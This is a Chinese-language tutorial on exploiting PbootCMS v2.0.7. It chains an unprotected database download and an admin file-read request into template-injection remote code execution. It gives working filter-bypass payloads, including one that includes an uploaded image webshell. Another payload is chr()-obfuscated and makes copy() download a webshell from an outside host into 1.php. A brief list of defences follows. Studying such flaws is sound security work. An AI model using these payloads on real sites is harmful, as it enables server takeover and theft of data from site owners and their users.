PbootCMS v2.0.7从前台数据库下载到后台RCE研究
字数 1138 2025-08-25 22:58:34
PbootCMS v2.0.7 漏洞分析与利用教学文档
1. 漏洞概述
PbootCMS v2.0.7 存在多个安全漏洞,包括:
- 前台数据库下载漏洞
- 后台任意文件读取漏洞
- 后台模板注入导致的远程代码执行漏洞
2. 环境要求
- Apache 2.4.39
- PHP 7.3.8
- 默认使用SQLite数据库
3. 数据库配置分析
默认数据库配置文件位于 config/database.php:
return array (
'database' => array (
'type' => 'sqlite',
'host' => '127.0.0.1',
'user' => 'pboot',
'passwd' => '123456',
'port' => '3306',
'dbname' => '/data/pbootcms.db'
)
);
关键点:
- 默认数据库路径为
/data/pbootcms.db - data目录没有访问限制,可直接下载
- 密码哈希格式为
md5(md5($pass))
4. 任意文件读取漏洞
漏洞位置
apps/admin/controller/system/UpgradeController.php 中的 update() 方法
漏洞分析
- 通过POST参数
list传入文件路径 - 如果路径包含
/script/,则直接读取文件内容 - 读取内容被当作SQL语句执行,但会因语法错误显示文件内容
利用方法
Windows环境:
POST /admin.php?p=/Upgrade/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded
list=/script/config/database.php
Linux环境:
需要找到一个系统或程序自带的/script/目录
5. 模板注入漏洞
漏洞位置
apps/home/controller/ParserController.php 中的 parserIfLabel() 方法
漏洞分析
- 模板引擎解析
{pboot:if}标签 - 使用
eval()执行条件语句 - 虽然有以下过滤:
- 检查函数是否存在(
function_exists) - 过滤危险字符串(如
$_GET、eval等)
- 检查函数是否存在(
- 但可以通过特殊构造绕过
绕过技巧
- 使用
include()等非函数关键字 - PHP 7.2+特性:不带引号的字符串会被当作自身字符串
- 利用预定义常量:
__FILE__获取当前文件路径PAGE常量(来自分页类,可通过page参数控制)
利用步骤
方法一:包含图片马
- 上传图片马,路径如:
static/upload/image/20200417/1587111957160139.png - 构造Payload:
include(s.tatic.array(__FILE__)[0][0].upload.array(__FILE__)[0][0].image.array(__FILE__)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][0].array(PAGE)[0][4].array(PAGE)[0][1].array(PAGE)[0][7].png)
- 将Payload插入模板(如公司信息)
- 访问带有分页功能的前台页面触发
方法二:远程下载Webshell(通用方法)
- 构造Payload使用
copy()函数:
copy(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(109).chr(111).chr(99).chr(107).chr(46).chr(120).chr(46).chr(100).chr(110).chr(115).chr(104).chr(105).chr(97).chr(46).chr(99).chr(110).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108),1.php)
- 将Payload插入模板
- 访问触发点,从远程下载Webshell到
1.php
6. 防御建议
- 限制数据库文件访问权限
- 对文件读取功能进行严格路径校验
- 替换模板引擎中的
eval()为更安全的解析方式 - 更新到最新版本
7. 参考链接
- 原始漏洞分析文章:PbootCMS v2.0.7从前台数据库下载到后台RCE研究